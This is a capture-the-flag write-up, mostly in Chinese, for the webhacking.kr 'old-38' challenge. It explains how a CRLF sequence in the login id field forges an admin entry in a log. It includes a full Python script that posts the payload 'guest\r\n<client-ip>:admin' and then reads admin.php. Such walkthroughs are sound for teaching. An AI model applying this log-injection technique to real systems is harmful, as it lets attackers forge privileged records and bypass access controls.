Challenge
Inject an admin log entry through the login form.
通过登录表单注入 admin 日志记录。
1
| https://webhacking.kr/challenge/bonus-9/
|
Analysis
页面源码注释暴露了 admin.php。提交 id
后,日志查看器会记录客户端地址和输入值,并要求日志行中的身份为
admin。表单输入不能直接携带换行,但 POST body 可以传递 CRLF
序列。将 CRLF 写入 id
后,日志解析器会把后续内容视为新行。
Solution
以下完整脚本在 id 中插入 CRLF,并随后读取题目提供的
admin.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import argparse
import requests
def main() -> None: parser = argparse.ArgumentParser(description="Test the old-38 CRLF log payload") parser.add_argument("--client-ip", required=True) parser.add_argument("--base", default="https://webhacking.kr") args = parser.parse_args()
session = requests.Session() login_url = args.base.rstrip("/") + "/challenge/bonus-9/" admin_url = login_url + "admin.php" forged_line = f"guest\r\n{args.client_ip}:admin"
response = session.post(login_url, data={"id": forged_line}, timeout=20) response.raise_for_status() print(f"login: {response.status_code} {len(response.content)} bytes")
admin_response = session.get(admin_url, timeout=20) admin_response.raise_for_status() print(admin_response.text)
if __name__ == "__main__": main()
|
原始 payload 的字面结构为:
1
| guest\r\n<client-ip>:admin
|
<client-ip>
必须替换为当前题目页面显示的客户端地址,不能使用任意地址。admin.php
应在日志地址与当前客户端地址匹配时返回题目结果。
CRLF 可以插入日志行;admin.php
只在日志地址与当前客户端地址匹配时返回结果。